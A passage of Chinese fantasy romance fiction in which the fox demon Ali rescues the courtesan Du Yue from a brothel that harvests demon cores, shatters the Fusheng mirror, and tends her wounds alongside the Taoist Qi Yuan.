等到姜满落座,阿离才急于表现似的一口气喝完温热的白粥,然后如侠客般粗犷的用手背擦了擦嘴,做完这些,饭桌上多了一张通缉令。
姜满的脸皱成一团,“这是谁画的?不提‘像’,但至少要入木三分吧!这一点也不像。”
阿离赞同道:“英雄所见略同。”
在座只有一人没有避开问题,“这是妖界使者颁布的通缉令。”
姜满:“师妹,你不就是妖界使者吗?”
阿离将这幅画像扔进炉子里点燃,“是紫衣使者。”
“上边有妖气追踪,想必不用一刻,就会寻上门来了。”
“看来,又要麻烦师兄了。”
“咋说。”
刚收拾好碗筷,姜满便听见了一阵急促的敲门声。
打开门一看,来人竟是那日被姜满搭救的妖怪。
“怎么是你?”
“怎么是你?”
两道声音同时开口,都是震惊和意外。
姜满细细打量,发现对方褪去女装,将头发高高束起后,眉宇间的确多了几道英气,可谓是巾帼不让须眉。
“站着尴尬,要不进来坐坐?”
原本是捉人,却不曾想会遇见自己的救命恩人,原本两人遇见,萱宁就已经觉得尴尬不适了,但对方不以为然,反倒是热情的招待自己。
不管是捉人还是报恩,于情于理,萱宁都应该进去,但是实在是不方便……
“你方才可有烧了什么东西?”
“一张,画像?我看大街上全是,就随便捡了一张回来,不小心碰了火,便烧了。”
“呃,怎么了,是不能烧吗?”
姜满的回答完全没有漏洞,萱宁道:“无事,打扰了。”
“等等,”姜满连忙出声,叫住了萱宁,“其实那通缉令我是故意烧的,我知道姑娘在妖界位高权重,故而病急乱投医,想向姑娘求一味妖界草药救人,灵瞳花,不知姑娘知不知道一些消息,可以透露给我的。”
坦诚相待之后自觉窘迫,姜满不由得咧开嘴角,用手指挠了挠自己的脸。
“救什么人?”
“我的师弟。”
不知为何,听到这个答案的瞬间萱宁松了口气,但紧接着,她的神情又凝重了几分,“我会帮你去寻的,就当是,报答你的恩情。”
“谢谢啊!”
“要走了吗?真的不进来坐坐?”姜满再次喊住迅速转身的萱宁,语气真诚。
“不了,谢谢。”
萱宁走后,阿离从里面探出头来,“师兄可真厉害。”
姜满也道:“想不到,她竟然是紫衣使者。”
“有时候真的不得不感叹,缘分真是奇妙。”
“这回是什么卦象?”阿离好奇。
姜满摇了摇头,“没算。”
***
花月楼里,舞曲停歇,杜月送走了今日最后一位客人。
算下日子,杜月在花月楼也生活了百年之久,一路摸爬滚打费尽心力,直至五年前才当上花魁。
她孤身一人委身于花月楼,一开始只求安稳,但花月楼是个嗜血的地方,哪怕她并未有半分逾矩,花月楼也会因为她的弱小剥夺她的一切,她永远无法忘记失去妖丹的滋味,那种撕心裂肺的疼痛,折磨得她日日夜夜无法安眠。
她多么希望自己可以死去,多么希望自己那脆弱不堪的妖丹不再生长……
可幻想终究是幻想,她惧怕死亡,她想活着,活得尽可能长久些,而只要她还活着,哪怕多么小心翼翼,她的身体总有一天会凝出妖丹,只要花月楼还存在,她的妖丹必然会被夺走。
当第二次失去好不容易凝出的妖丹,杜月开始明白,在花月楼这种地方讨生活就像在刀尖舔血,求安稳的愿望也不再现实。
于是她把自己拎得高高的,明明是最平淡的花,却要逼迫自己高傲。花魁身份,是她唯一的免死金牌。
但不是永远的。
她先前见过传闻中受花月楼供奉的‘魔神’,那是她第一次逃跑,混进新娘的花轿里,最后眼睁睁看着新娘活生生被埋在水里的魔神吞食。她是被秦娘子救回来的,秦娘子说:既然见了魔神,那下一次,便由她来做新娘。
当了花魁一定会死,唯一不同的是,当上花魁后有一段足以喘息的时间,她可以尽力的活得再久一些。
杜月心底明白,花月楼是吃人的泥沼,只要自己跌下去了,便再也爬不起来。
于是,她精心计划,最周全不过假死逃掉七日盛宴,但这样依旧有风险,说不准哪日花月楼会发现她拙劣的计划,然后喷火似的将她碎尸万段。
可谁叫上天也怜悯她,要赐她良机呢?阿离的出现,让她又可以多活五年……若是五年之后,会有第二个阿离出现便更好了……
杜月疯狂的想着,忽然脚步一顿,猛然转头死死盯着门口那道倩影。
来不及多想,杜月一个箭步
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冲上去,直接将阿离拉进了房中。
“你为何在此?”杜月压着声音,眼尾不知是因为恐惧还是别的什么而泛红着。
外边贴满了通缉令,花月楼与阿离结了仇,按理来说,杜月不应该拉她进来,而是应该大喊搬救兵。
可她没有。
当看见阿离昨日完好无损的出现在众人面前时,杜月惊奇的发现,一切似乎还有转机。
阿离扯下对方因情绪激动抓在她双肩上的双手,拍平褶皱,道:“我说过,我可以帮你一把,救你出去,还你自由,只要你想。”
她的眼睛明亮,带着杜月不敢肖想的希冀。
“条件是什么?”杜月红着眼眶。
“作为证人,揭发花月楼的罪行。”
“你有多少成把握。”
“至少□□成。”
在阿离话音结束的下一秒,杜月脱口而出,“好,我答应你。”
阿离怔一怔,第一次读懂了杜月眼中对自由的渴望。
想救杜月,第一件事便是找到檀罗之毒的解药。
据杜月所言,往常解药都是掌事碧云所发,一月一次,而明日就是一月之期。
可碧云,已然失踪两日了。
“站住!”
萱宁出声喝停了擦肩而过的婢女,对方一身豆青衣裳,背脊薄瘦,头顶双环髻,小巧可人。这是杜月的丫鬟云心,几日前萱宁来花月楼时曾打过照面。
云心低头行礼,恭敬十分。
“你要去哪?”萱宁不自觉摸住腰间长鞭,质问道。
突然,身旁传来一道话音,是花魁杜月,“我差云心去买糖水,紫衣大人,莫要吓到她了。”
见萱宁稍稍放松,云心松了口气,立马逃走了。
不过她可不是真的要买什么糖水,只见这道瘦小的身影大张旗鼓的略过众人,转身轻巧的混进了掌事碧云的住处。一转眼,变了一张脸。
狐妖善幻颜之术,阿离对这一术法修炼得炉火纯青,幻颜之后,一般人看不出半点破绽。
萱宁很敏锐,想必是已然察觉到了她的伪装,可她却没有半分动作,她想干什么?
碧云身为掌事,住处倒是比花魁的香房大上许多,一道双面芙蓉屏风将室内横作两面,阿离轻声走进里间,面前只摆了一张精雕细琢的玉石床。
屋内没有檀罗香,空气间混了另外几道清香,其中之一似乎是夏日青莲的味道。这香气经久不散,彷佛就是在这儿的诞生一样
玉石床后是一堵厚墙,食指轻叩,传来一阵不易察觉的响声。
阿离凝眉,就在此时,门外忽然飘来几道亮光。有人来了!
照着杜月给的法子,阿离迅速转了转旁边的花瓶,厚墙上倏然显现了一扇门的形状,再将花瓶用力往下按去,密室的门应声而开。阿离一个闪身,藏了进去。
“紫衣大人,这里没有人。”一众黑衣护卫冲进来将房间里里外外翻了个遍,最终一无所获。
墙后,阿离屏息凝神,侧耳靠着墙听着外边的动静。
萱宁抬手握拳,示意回撤。
杜月站着她身后,用沾过花蜜的帕子捂着口鼻,眸子冷冷的,神情却像有那么几分真情,“紫衣大人,何故疑心呢?就算你怀疑云心,命人去捉便是了,何故要翻我们掌事的屋子?掌事爱干净,您这做法,倒真是会给我们这些下人添麻烦。”
杜月语气尖酸刻薄,当着萱宁的面戳她脊梁骨还丝毫不带脏,确是高手无疑。
23. 不谋而合(三)
察觉局势被杜月拿捏,阿离便放心地打开了火折子,进了密室。
密室很深,像一座山被挖空了心。
阿离用火折子点了两旁的油灯,面前的道路随之越来越明晰。
愈往尽头走去,阿离的眉头便蹙得愈深,她的感官十分灵敏,从前在族中,更是时常被夸赞的存在,可今日她却希望将自己引以为傲的感受掐灭。
周围是绝望的、痛苦的气息,这些气息散在空气里,被火光吞吐在她的耳畔。
面前是一鼎炉子,周围是成箱的妖丹还有未被洗净的血迹……
咽喉难以吞咽,泛出恶心的感觉来。
阿离深呼一口气,炼丹炉旁放了最新一批檀罗毒的解药,阿离将其中一瓶解药揣进怀里后,忽然听见一道瘆人又带着惋惜的话音凉飕飕地从身后传来。
“扬州城太大了,这里只有半城的妖怪。”
阿离猛然转身,却未见说话之人的身影。不用见面,单是听声音,阿离也能断定说话之人的身份。
“想不到,一介绿衣使者,竟然可以查到如此地步。”那道诡异的话音还在继续,像是从四面八方传来的。
阿离丝毫不怵,反倒是亮出赤羽,“所以,我应该是称呼你为碧云掌事,还是孟三姨呢?”
“果然是你!”话音被激得徒添了怒意,却依旧没有半点反击。那日傀儡人孟三姨被阿离断了生气,想必作为施术者的碧云也一定重伤未愈,这才有了掌事碧云失踪两日的情况。
阿离瞥了眼四周,确认没有藏身之地,才缓缓开口道:“看来今日,秦楼主是不会现身为你主持公道了。”
傀儡术是凡间邪术,据说傀儡术大成之人,最后都会通过一个方法实现永生——将灵魂藏进傀儡中。
赤羽怀有除魔之力,傀儡人被刺穿时孟三姨的魂魄也随之受了重创,想必短时间内是不会再有反击之力了。
“不管是孟三姨还是碧云,想必都不是你的傀儡真身。”知道了这些,阿离开始把玩手里的短刃,迈着悠闲的步子在密室里闲逛,就像寻常逛市集,嘴边还哼着小曲,“让我猜猜,你的傀儡真身会藏在哪里呢?”
孟三姨咯咯的笑音霎时间在密室里回荡,“你不可能找得到!”
成箱的妖丹齐齐堆放在一处,另空出了一块地方安置了一张木桌,木桌上似乎供奉着什么神像,这神像用一张灰布遮掩着,只露出如供台般的一角,阿离上前将布一把掀开,眼睛忽然被亮光一晃,整个世界像突然被白色填满了一样虚幻。
再睁开眼,才发现灰布之下竟是一面雕了奇怪花纹的铜镜。
“这是什么?”
傀儡不出声了。
骤然,啪地一声,铜镜被摔落在地,四分五裂。
“你做什么!”孟三姨大吼一声。
阿离拍了拍手,哈哈笑道:“你不说话,我以为是什么不得了的东西。竟然这样,自是要摔坏了,千万不能辜负掌事你的一番珍爱啊!”
这妖怎么……不讲道理!
孟三姨感觉自己随时能晕厥过去,此时此刻也不管什么真身不真身了,反正自己的藏身之地也被摔了个粉碎,“这是神器啊!神器!你这小妖懂什么是神器吗?这可是上古神器浮生镜,你把它摔了,就算是十个你也赔不起!”
孟三姨无能狂怒,用尽了毕生所学,对着阿离就是劈头盖脸一顿骂,这一骂,倒还真把阿离给骂懵了。
方才被铜镜晃了眼睛过后,阿离对着铜镜,竟诡异的看见镜中人朝着自己咧嘴笑了笑。
那是个活泼的笑容,一对狐狸眼弯成了月牙,眼眸像混了清澈透明的湖水,任谁见了都忍不住怜爱,但这却是此时此刻的阿离不可能做出的神情。
那双眼眸格外明亮而又温柔,像一湖春水,打翻在春天里,那双熟悉的眸子,似乎正透过她,看着另外一个人。
阿离吓了一跳,扬起手便将无辜的铜镜打翻了。
可谁知道她摔的竟然是浮生镜啊!
这是真的浮生镜,那她先前费尽心思偷出来的是啥?
浮生镜被她摔碎了,怎么办?还能用吗?
孟三姨眼睁睁地看着这只心高气傲的小妖矮下身子,将四分五裂的铜镜碎片拾在掌心,尖锐的镜片划破了白皙的皮肤,赤红的血滴下来,染红了她豆青色的衣裙,但阿离却视若无睹,只管将碎片握紧,以防再摔。
分明是她自己摔的,如今却当宝贝似的护着,真是疯子。
孟三姨不再说话,她的灵魂随着浮生镜的破碎而被撕裂,临死前,她开始回忆自己不断被拉长的一生,眼前逐渐浮现出一个神似秦娘子的脸颊。
那是秦娘子的母亲。
孟三姨称呼她为小姐。
当年,小姐家道中落,父母双双离世,表舅周氏便随意为小姐指了一桩婚事,孟三姨就是小姐的陪嫁丫头。原以为至少可以陪着小姐安稳度过一生,谁知那户人家却因家中贫困,将已有十月身孕的小姐卖与一户富贵人家,与他们那早亡的儿子冥婚。
孟三姨隔了一日才寻到那口被封死的棺材,她奋力将棺材撬开,看见了满身血污痛苦挣扎而去的小姐,还有那咿呀咿呀的婴儿秦娘子。
自此,二人相依为命努力生存。一次,秦娘子为保护孟三姨,被那邪恶的贼人在姣好的面容上砍了一刀。那是一道长而深的疤痕,从额头到下巴,像分隔两地的险峻山崖。
孟三姨有愧,她发誓要誓死保护秦娘子,她愿意为她做任何事情!后来,许是老天眷顾,她们两个凡人女子,从一道道锋利的刀口下活了下来,最后藏去乱葬岗,一个学会了傀儡术,一个变成了鬼生子。
而如今,她却只能走到这了……
孟三姨的灵魂躲在浮生镜里,记忆顺着破碎的镜片,一帧一帧溜进阿离的脑海之中。
可狠之人必有可怜之处,阿离唏嘘于她们的故事,但她们依旧是罪孽深重,不可原谅!孟三姨的死,是上天报应!
阿离跪下身子,用两手托起那破碎的浮生镜,踉踉跄跄地走出了密室。
而外边,正是鸡飞狗跳之时。
一道利箭如闪电般朝着花月楼正中央的舞台急冲而来,只见它直直刺破红绸,携风灭了几盏灯火。
台下的人群一哄而散,这些人多是生性□□的凡人,他们只知风月之事,哪里见过这种骇人场面,一见那破云之箭气势汹汹,硬是被生生吓晕了过去。
“怎么回事!?花月楼遇袭了!”人群里有人高声喊道。
花月楼外,男人伫立在楼阁顶端,他一身玄衣,如墨影般点在半空,紧接着,手印一变,身后便现出百道符纸。
男人低沉的嗓音从唇间蹦出,“符出。”
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>无数道利箭直袭花月楼,在即将刺穿心脏之前陡然停下,唰啦一下转了方向,刺进了地板。发觉自己将死却没死的人眼球一翻,吓晕了过去。
于是,偌大的花月楼霎时间乱成了一锅糊粥。
面对这一番动荡的场景,不擅法术的杜月倒真被吓懵了,她一手抓起裙摆,不顾形象从地上爬起,踉踉跄跄地躲到了一处结实的柱子后面,头上的发髻簪子因碰撞而变得歪扭,她想拿什么东西防身,又或是向他人求救,这些都没有做成。
混乱中,她突然被一人抓住了手腕,直往花月楼外奔去。
能让数百道符纸在一瞬之间夺空而出,全天下没有几个道士做得到。可眼前这人,非但做到了,而且做的很轻松。
秦娘子于高楼之上与对面之人打了个照面,心生震撼。
“阁下哪门哪派,还请报上名来。”
月影高悬,长街灯火却明亮了半片天。
阿离推开几个拦路人,从混乱的大门中钻出来,脸上还沾了些灰尘,像只英勇又脆弱的小猫。
“祁渊!”
话音刚落,祁渊便如离弦之箭般从高楼一跃而下,只身来到她的面前。
秦娘子狡诈,趁机动手,催动妖力朝祁渊倾泻而去。
那道极速坠落的身影丝毫不慌,只见他双手凝聚起灵力开始结印,周边的空气紧跟着凝滞,那气势汹汹的箭雨在触碰到墨色衣角的瞬间便霍然停住了气势,化作飞羽消失不见。
阿离盯着那张从天而降的神颜,眼皮微微抽搐,头抑制不住的疼了起来。
祁渊拦下几个提刀重逢而来的护卫,提剑侧身护在阿离身前。
这是,浮生镜……
祁渊眸光骤然缩了一下,握剑的力道跟着紧了几分。
她……是不是想起了什么……
“来人,将他二人拿下!”
一声令下,众人提起刀剑一哄而上,但那锋利的刀刃竟然全部失手捅进了地板。
绿衣使者和昆仑道士凭空消失了!
众人你看我我看你,后背不知何时灌满了冷汗。
花月楼翻天覆地也找不出来的两人此时已经到了一间寻常院子前。
催动阵法是一瞬间的事,就是因为一瞬间太快,两人迅速紧握的手尚且停留着。
“松开些,血落得太多了。”他用温柔的语气哄着她,转而用力去掰开她的双手,将破碎的镜子抢了过来。
一户人家的烛火从侧面打来,不算耀眼但算柔暖,这光亮在她眼角上,遮了许多视线,却挡不住她要看他的目光。
她很委屈。黑暗里似乎闪起一道亮晶晶的荧光,祁渊回过头时发现,这道荧光来自于她的眼睛。
“浮生镜碎了,怎么办呢?”
她的过去,她的妖心,是不是再也找不到了啊?
眼底忽然弥漫起一层薄雾,像山间清晨,冷得迷糊。
她也不想落泪,不想展现自己的脆弱,可不知为何,在面对祁渊的时候,心里的委屈催促她的鼻眼酸了下来。
一开口,再找不到表面的坚强。
直到带了茧子的指腹轻轻擦过她的眼睑,“不要紧,总有办法的。”
“真的?”阿离睁大了眼睛,嘴角勾起了一抹庆幸的笑。
“真的。”他陪着她笑,脸不红心不跳地撒起了谎。
24. 不谋而合(四)
两人回了院子,坐在凉亭。
阿离情绪不对,祁渊便交代她坐好,离开去打水为阿离洗手。
面前的铜镜沾了血,看不清。
阿离拿起一块,用手掌将上边残留的血迹用力擦去,空出长而宽的粉红色镜面,将其捧起,对着自己的脸,照了照。
眼睛是眼睛,鼻子是鼻子,没有任何特别之处。
还在观察着,手里的镜子忽然被抽走,阿离抬眸,对上祁渊那双藏着愠怒的眼睛。
“把镜子放下。”祁渊厉声说道。
阿离听话照做。
面前放下一瓶金疮药和一缠棉布,外加一个木盆。水面刚好倒映了两人的面容,一个沉稳如山,一个灵动如水,如果此时有第三人往水盆中仔细看,就会发现水中倒影和现实是不一致的。
祁渊细细用棉布擦去她手上的血迹,偶尔将棉布放进水盆里浸湿,再着力擦去。
盆中水面波纹浮起,那一帧奇怪的倒影随之消失。
阿离吃痛,眨湿了眼睛后道:“我自己来吧。”
说完,她便拂去祁渊的双手,一个猛扎将手埋进了温热的水里,两手交叉的帮自己洗净血污,另一个人看不下去,制止了她野蛮的动作。
“不疼吗?”
疼啊,疼死了!
但她没那么矫情,洗手而已。
这一番折腾,手上的确干净了不少,但伤口却因此被磨伤,溢出了新的血液。
祁渊重新慢慢帮她磨掉已经干涸的血迹,他的手大而有柔力,没一会儿便好了。
的确没那么疼,阿离出神想着。
放下盆,祁渊为她上好了药,随后用一卷纱布,将她的手包裹在里边。
盯着对方认真的神情,阿离心道:还挺细致。
手擦干后,阿离看着上边的一道道划痕,忍不住皱起了眉。
真丑。
祁渊打量着她的神情,眼底不自觉地浮起笑意。祁渊将手摊开在阿离面前,阿离则立马将自己的另一只手放了上去,看得出来,是想好的。
祁渊又笑,开始帮她涂药。
却不想对方临时变卦,一把扯去了他的手腕。
“这里什么时候划了一道?”
原本修长如白玉的双手忽然出现一道红,像在腕上刺了月亮。
冰凉的指尖顺着伤痕缓慢摸上去,呼吸像吐在了心尖上,祁渊迅速将手抽回,掩饰般的转头,“不知道。”
“收回去干什么,拿来,我帮你上药。”心大的狐狸根本没意识到自己做了什么撩拨人的举动,她将他红彤彤的手又拉了回来,趁对方不注意,往快要愈合的伤口上抹了一大坨药膏。
呀!抹多了。
祁渊面沉着,她还是这么在意皮相……
药膏是姜满自制的,比普通店铺里卖的要更加细腻,凑近一闻,还有一道清新的栀子香。
昆仑常年落雪,白茫茫的景色只会苦了眼睛。于是师父便给姜满提了个建议,用内力来温养花草。祁渊第一次见这个师兄的时候,便是在一堆绿色中寻到他的。
姜满是修炼天才,昆仑山将他藏了十七年。
如今出山,必是要在人间掀起一番风雨的。
自古天才都这样。
“那你呢?”
“半路出家,是不是也算天才?”
阿离从他的口中得知,他原先并不是昆仑山本宗弟子,至少成为弟子的时间不似姜满那般长久。
有些像挂名,为了闯荡的时候有一个好听的名头,但阿离认为这种情况放在祁渊身上不成立,因为她觉得祁渊并不是一个看重表面功夫、爱慕虚荣的人,于是只能是另外一种情况,为了掩盖自己的过去而找的新身份。
“我?”
祁渊直直地看着她,心里却不知在想什么。
这时,大门被推开,姜满回来了。他后边还跟着一人。
半个时辰前,花月楼。
飞箭如暴雨般落下,一片慌乱中,杜月被一个男人拉着狂奔,不出半刻便离开了花月楼。
男人便是姜满,依照计划,解救花魁是其中极为重要的一环。
外边停着一辆马车,姜满把杜月塞进马车后,便急匆匆地驾车回到了城东的院子。
半个时辰之后,四人面面相觑。
众目睽睽之下,阿离语音甜甜的说道:“大师兄好。”
好乖,像吃了甜枣般。
姜满见自家师弟的脸绷不住了,立马将门大开,抬步要将杜月迎进家中。阿离又一歪头,率先和杜月打起了招呼,“月姐姐,你好呀。”
杜月:谁是你姐姐?
杜月急匆匆地从花月楼跑了出来,身上还是平时的露肚舞女装扮,只是肩上多了件厚厚的披风,这才得以抵挡冷风侵袭。
此时见到阿离,悬着的心才算彻底落定,也逐渐接受了自己逃离了花月楼的事实。
阿离朝杜月走近,“怎么样?”
“还不错。”比料想中的快。
两人相视一笑,“夜深了,我带月姐姐去休息吧。”
两人亦步亦趋,直至身影在廊道尽头消失,姜满才来到祁渊面前,阴阳怪气地开口道:“你们这一路,怎的不会给人家披一件外衣?”
“嘶!我看着都冷!”
祁渊:……
院子不大,却也不小。九曲回折,廊腰缦回。阿离领着杜月绕了两道弯,这才进了厢房。
“时间紧,房间还没收拾出来,今晚你就先在我这里凑合凑合。还有,这几日你先待在院子里,切莫出去,以防万一。”
杜月垂眸,似乎是对她的安排有些不悦,“近几日因为你花月楼诸事不顺,找一个花魁,想必是没有那么紧迫的。”
阿离止步,提醒道:“花魁可有千万,但古树神族却只有一个,花月楼留着你,一定是有利于他们的,只是不知道他们会做什么,所以,千万不可松懈。”
是了,她是不一样的。
花月楼可以放过任何人,但唯独不会放过她。
杜月回想起曾经在花月楼的阴暗日子,强颜欢笑,“放心,我知道楼主的手段,若是我回头,别说普通打杂的身份,就算是囚犯都当不上。”
回了房间,阿离摆开茶杯,为她们倒了茶水。
“这是应允你的解药。余下的你放心,姜师兄是神医,一定会配出解药的。就算姜师兄做不到,妖都里也一定有人做得到。”
“安心。”
杜月谢过,转而关注她的伤势,“手上的伤,是怎么来的?”
杜月盯着她瘆人的手,肩膀忍不住一抖,打了个寒颤。
阿离见了,笑过,“真假。”
紧接
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着话锋一转,“碧云在花月楼是什么地位?”
杜月知道阿离说话喜欢直来直往,她问碧云,定是因为搜集到了重要线索,“碧云在楼主之下,是楼主心腹。”
“心腹?”
“那你可识得孟三姨是何人?”
这二人倒是……毫无关联。
杜月疑惑不解,但还是在脑海中找寻有关孟三姨的记忆。
“见过一两面,但她出现的时候不多,她是一个,商人。”
“每回花月楼要开场子做买卖,我都会看见孟三姨的身影。她应与楼主相熟,一直向楼主借顶层做生意,楼主也一直默认。”
“那这个孟三姨出现的时候,碧云在哪呢?她们二人可曾一起出现过?”
闻言,杜月眉头紧紧皱起,说道:“孟三姨用来做买卖的东西会装箱,掌事会事先交代我们搬运箱子,那箱子打开过,一直都是妖界珍贵灵石或是价值连城的珠宝首饰。”
“但,照你这么一提,我从未看见她们一同出入过。”
“不错,碧云就是孟三姨,她精通傀儡术,这些年,她一直在操纵傀儡出现,于是外界就会认为,贩卖妖丹的人只是一个妖力高强的妖怪商人,花月楼只是提供了场所之便,再加上这成箱的金银首饰,就更加难以定罪了,倘若真闹到了妖都,花月楼完全可以以此来逃脱罪名。”
“所以,还远远不够。”
想推翻花月楼,这些还远远不够。
思索之际,忽然听杜月开口说道:“我可以指认。”
杜月将手放在桌子上,“来,你探探我的灵海。”
阿离依言探去,在看清杜月灵海的一瞬间,瞳孔骤然一缩。
“怎么回事?”
“我的妖丹,是秦娘子亲手挖走的。”
祁渊和姜满还在凉亭处,临近月末,月亮躲进了云层,满头乌云,看来明日又要落雨了。
祁渊将浮生镜上的血污一一洗净之后开始拼接,这面铜镜花纹奇特,是一种名为浮玉妖的妖纹。
妖界有四大古族:青鬼、树神、梦魔、浮玉。青鬼一族三个月前被妖主大人全数歼灭,树神一族隐居避世于五百年前,梦魔一族最近一次出现是在千年以前,于是只剩下浮玉妖,藏于人间,醉于人间。
这四大妖族之所以并称四大古族,不仅仅是因为他们存在的时间足够长,更是因为他们有支撑他们长久存在的能力。这种能力对于妖界来说极为特殊。
青鬼通地府阴气,树神掌世间最强治愈之力,梦魔可化梦织梦温柔乡里醉生死,浮玉晓前世今生,可窥探天道。
竟然前三者退于世,那便只能讲浮玉妖。
上古,神界出一神器,神器由虚无境中玉石制成,因其有知晓过去未来,了然浮生之用,命其名为浮生镜。所谓“一梦一千年,镜中照浮生”的传说便由此而来。而浮玉妖,正是制成神器的玉石所化,因他们与浮生镜同源同本,又诞生于虚无玉石之中,这才得了“浮玉”之名。
上古妖族藏匿已久,神器浮生镜也已有千年未现世,记载它样貌的古籍早已失踪,更多的是后来的仿造,仿造者自然未曾见过浮玉妖,又何谈知道浮生镜上的花纹为何呢?
那日阿离拿走的浮生镜,祁渊一眼便辨认出了其中真假。
现在真的浮生镜就在面前,他到底该怎么做?
25. 不谋而合(五)
原本应该在房间休息的妖怪不知何时跑了出来,这时已是三更半夜。
“怎么了?师妹?”看着突然出现的妖怪,姜满一脸懵的问道。
“师兄,我可以借一下你的手记吗?”
姜满:不会吧?不会吧?她赖上我了?
半刻钟后,阿离出现在了祁渊面前。
二人一里一外,心怀鬼胎。
“浮生镜怎么样了?”
“拼全了。”
祁渊敞开门,让阿离进屋。
屋内陈设简单朴素,桌椅是中上等的黑木样式,桌上是清白瓷茶杯,茶杯里尚有些没喝完的江南绿茶。
绿茶旁是半卷残书,方才有人于此休憩。
少女身上带着清香,应是刚刚沐浴,发尾处还有些湿,带着些似有似无的诱惑,她重新换回了红衣,与樱桃红般的唇色适配。
四分五裂的镜片被祁渊拼好,安静地躺在了桌子上,和那半卷书放在一起。
方才阿离去向姜满借他的手记,但未曾想落后了一步,如今这本手记就在面前,阿离却不知道找什么理由将其带走。
“浮生镜碎成这样,可还能修的好?手记里,可抄了办法?”
阿离上前去看那本手记,这才尴尬的发现上面的字符自己看不懂。
祁渊看出了她的小心思,摇了摇头,一副苦恼的模样,“暂时找不到,上边只记了它的来历。”
阿离拧紧眉头,“这是哪里的文字?”
祁渊摇头,只说自己幼时学过,有几分印象,其余的一概不提,像是害怕有人揭开他的过去。
阿离不再纠结了,浮生镜碎了只能怪她,当下只能是再找其他办法了。
但是这种截然而止的感觉很不好受。
话聊完,祁渊见阿离立在原地,久久出神,只好开口提醒道:“夜深了,先回去休息吧。”
女子闻言,回看了他一眼,随后径直走向屋内,舒服的往床上一躺,“我的房间被杜月占了,这才来你这的。其实本来想找师兄的,毕竟他人这么好。”阿离轻叹了口气,有些遗憾地说道。
不过还是不能辛苦师兄。另外,祁渊先前提过浮生镜的事,如今浮生镜落在他的手上,万一他真找到了打开浮生镜的办法,岂不完蛋?所以,阿离得时刻提防他。
说完,她又丢了一张被子与一个软枕下来,不容拒绝道:“你睡地上。”
祁渊无话可说,只好由着她占了自己的床。
“你以前,真的不认识我吗?”
回到书卷前坐下,重新续上烛火,祁渊听见她在昏暗里喃喃问道。
“在你的梦里,我是什么样的?”
梦?
那原本就是一个虚无缥缈的事物,像世上最轻薄的漫纱,挡在眼前,浮光掠影似的不真切。
春天夜里清凉,身子裹紧了被子,头顶还是会被风打搅。
意识模糊间,听见了窗外传来滴滴答答的雨声。
雨滴砸下来,像落在了离自己很近很近的地方。
阿离感觉自己正被一个人背着,这人的脊背直挺,因为要背她才不习惯的弯下一点点头颅,一边锁骨上靠着伞,另一边的脖颈靠着她晕沉沉的脑袋。
这人比她高出了许多,阿离在他的背上埋着头,不敢往频频倒退的地面上看。
“醒了?”
男人在说话,话音从胸腔里震出来,又一路游走到咽喉,恰好是与她埋靠的位置。
阿离觉得这话音听得心烦,虚虚实实的,停在半空。
她听见自己闷声问道:“为何救我?”
那人只是笑,继续背着她混入雨帘之间。
画面又是一转,阿离的脑袋依旧是沉沉的,她手里拿着一条烤鱼,肩上披着一件不属于自己的墨色长袍,面前是一堆温暖的柴火。
记忆如潮水般涌来……
她记得自己答应了一个人一件事,继而装鬼吓人,谁知人心更黑,见她宁死不屈,还化作了冤魂,便立马疯魔了起来,嚷嚷着要让她陪葬。
火药炸开了整座山,一时间只觉耳边轰隆,尘土排山倒海般压了过来,似是要将她拉入地底,所幸天公作美,给她留了一条缝,于是她就这么灰头土脸的被捡走了……
那人说,要给她一个改过自新的机会。
何为,改过自新?
那人列举了她伤敌一千,自损八百的混账法子,扬言身为妖怪,身负妖力,纵使初心是善,也不可胡作非为,扰乱人间秩序。
这人道理好多。
耳朵好像因此长了茧子,这个声音一直伴随着梦醒。阿离听了一夜的雨。
这场梦来得莫名,阿离好不容易稳了心,不再去想。
阿离一夜好梦,祁渊则是一夜无眠。
手上握着的笔也因为心绪凌乱而无法着墨,祁渊扶着额,思索了一晚上的前因。
清晨,阿离醒来的时候,祁渊的身影已然不见。
她伸了个懒腰,抬手揉了揉眼睛,发现双手不知何时被人仔细缠上了白色绷带,原先的道道伤痕被藏在绷带下边,只有张合手掌时才会感受到它的存在。
她眯着眼看了好一会儿,几乎是一瞬间便能想到昨晚是怎样的一番场景,于是她整个人像炸了一样,白皙的皮肤上迅速泛起了粉红。
江南的空气里似乎永远混着水珠,潮湿得让人想要偷懒。
阿离起身时已然接近晌午,她一人用了午膳。一碗清爽小面下肚,原本懒洋洋的精神顿时清醒了大半。
也是这时,向来独来独往的阿离才发觉今日似乎少了两个身影。她也不是要特别注意他们的行踪,只是院子小,只住了四个人,而吃饭时身旁又没人陪她一道,实在是有些无所适从,所以很难不去留意。
“那两个道士哪去了?”阿离朝站在院子里浇花的杜月问了一句。
杜月心情不错,嘴角噙着笑意,微微上扬,今日是她离开花月楼的第一天,值得高兴。
所以,她听了阿离的话,连眼皮都懒得抬,只管侍弄着面前的花花草草,回道:“花月楼。”
阿离惊道:“他们还敢去花月楼?!”
杜月再转头时,阿离的身影已消失在游廊尽头。
花月楼有什么不敢去的?昨日那番动静,只不过让他们损失了一个花魁罢了。
看着阿离的反应,杜月难免替她忧心。自古道士和妖怪便是仇敌,那二人去捉妖,阿离去做什么?
不过,事实证明,她的担心总归是多余的。
在妖界,能当上使者的人都有那么几分特别的本事,有些妖怪不求荣华富贵,只求快乐,兴许阿离就是这类妖怪呢?她有本事去凑热闹,更有本事凑完热闹后全身而退,在抽空救那两个凡人出来。
所以绕是前方天罗地网,他们也要去闯的。
杜月轻轻摇了摇头,再次侍弄起了院子里的花草。<
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她只想做一个闲人,无事浇浇花,种种田,就足够了。
妖怪的速度总是比普通人要快得多,人们一步垮出一尺,妖怪则一步飞跃半城。
杜月的话还未还得及听完,阿离便已来到了花月楼前。
少女敛去气息,一个轻盈反转,一抹红影越上了高墙。
幻颜术施展,她又进了花月楼。
今日花月楼最顶层开了,是闭日许久的妖丹买卖。这买卖进行的极为隐蔽,不仅要求客人戴上能遮住全脸的面具,还要……
一句暗语,一枚玉佩……
阿离心里细细斟酌,转角间,她趁众妖不注意,眼疾手快地顺走了一只猫妖的玉佩,又将暂放在一张椅子上的鬼怪面具抽走,一套动作下来行云流水,半个把柄也抓不住。
阿离将猫妖的鬼怪面具戴好,随即把玩起了顺来的玉佩。这玉佩质地说不上多好,只是那细细纹路间,似有几分浑浊之气。不似三界之物,倒像是……那封锁已久的黑水之渊……
阿离眸底闪过一丝异色,呼吸亦跟着沉了许多。
还剩一句暗语……
会是什么?
